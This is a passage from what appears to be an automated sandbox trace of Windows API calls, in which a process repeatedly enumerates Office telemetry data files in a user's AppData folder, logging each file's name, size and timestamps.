ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (0) - 1912 - excel.exe - OTele.dat", cAlternateFileName="{06257~2.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (0) - 1912 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{06257~1.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (1) - 1912 - excel.exe - OTele.dat", cAlternateFileName="{06257~4.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (1) - 1912 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{06257~3.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623eba0, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (0) - 1920 - excel.exe - OTele.dat", cAlternateFileName="{3CAF5~2.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26218a40, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x26218a40, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x26218a40, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (0) - 1920 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{3CAF5~1.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623eba0, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (1) - 1920 - excel.exe - OTele.dat", cAlternateFileName="{3CAF5~4.DAT")) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623eba0, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (1) - 1920 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{3CAF5~3.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (0) - 1996 - excel.exe - OTele.dat", cAlternateFileName="{4DA01~2.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (0) - 1996 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{4DA01~1.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (1) - 1996 - excel.exe - OTele.dat", cAlternateFileName="{4DA01~4.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (1) - 1996 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{4DA01~3.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x11b, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (0) - 1060 - winword.exe - OTele.dat", cAlternateFileName="{61793~2.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (0) - 1060 - winword.exe - OTeleMediumCost.dat", cAlternateFileName="{61793~1.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (1) - 1060 - winword.exe - OTele.dat", cAlternateFileName="{61793~4.DAT")) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44005180, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x44005180, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x44005180, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{61793A19-06A8-458E-B03A-D37C5A818884} (1) - 1060 - winword.exe - OTeleMediumCost.dat", cAlternateFileName="{61793~3.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (0) - 1908 - excel.exe - OTele.dat", cAlternateFileName="{8136E~2.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (0) - 1908 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{8136E~1.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (1) - 1908 - excel.exe - OTele.dat", cAlternateFileName="{8136E~4.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8638860, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xc8638860, ftLastAccessTime.dwHighDateTime=0x1d8a6e7, ftLastWriteTime.dwLowDateTime=0xc8638860, ftLastWriteTime.dwHighDateTime=0x1d8a6e7, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8136E16F-A709-48AC-A08D-98CF5E5DDCD4} (1) - 1908 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{8136E~3.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c910ae0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x1c910ae0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x1c910ae0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A7D1044D-57E2-45B6-8A93-CD389A77D3AC} (0) - 2256 - winword.exe - OTele.dat", cAlternateFileName="{A7D10~1.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (0) - 1928 - excel.exe - OTele.dat", cAlternateFileName="{F9DB4~2.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (0) - 1928 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{F9DB4~1.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (1) - 1928 - excel.exe - OTele.dat", cAlternateFileName="{F9DB4~4.DAT")) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (1) - 1928 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{F9DB4~3.DAT")) returned 1 [0144.728] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd57a9140, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd57a9140, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd57a9140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F9DB46F1-D526-4C41-9029-DAF07FDA299B} (1) - 1928 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{F9DB4~3.DAT")) returned 0 [0144.728] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.729] SetErrorMode (uMode=0x0) returned 0x1 [0144.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele", lpFilePart=0x0) returned 0x37 [0144.729] SetErrorMode (uMode=0x1) returned 0x0 [0144.729] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\otele\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (0) - 1912 - excel.exe - OTele.dat", cAlternateFileName="{06257~2.DAT")) returned 1 [0144.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (0) - 1912 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{06257~1.DAT")) returned 1 [0144.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (1) - 1912 - excel.exe - OTele.dat", cAlternateFileName="{06257~4.DAT")) returned 1 [0144.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9619b6c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x9619b6c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x9619b6c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{06257850-03B6-407F-917A-F3DCB870A037} (1) - 1912 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{06257~3.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623eba0, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (0) - 1920 - excel.exe - OTele.dat", cAlternateFileName="{3CAF5~2.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26218a40, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x26218a40, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x26218a40, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (0) - 1920 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{3CAF5~1.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623eba0, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (1) - 1920 - excel.exe - OTele.dat", cAlternateFileName="{3CAF5~4.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623eba0, ftCreationTime.dwHighDateTime=0x1d8a6ea, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3CAF51CA-D3F9-4432-81A9-F56AC51CAA37} (1) - 1920 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{3CAF5~3.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (0) - 1996 - excel.exe - OTele.dat", cAlternateFileName="{4DA01~2.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x961e7980, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="{4DA018EB-6D49-4AD4-9C00-9AE19FE3C22A} (0) - 1996 - excel.exe - OTeleMediumCost.dat", cAlternateFileName="{4DA01~1.DAT")) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x961e7980, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x961e7980, 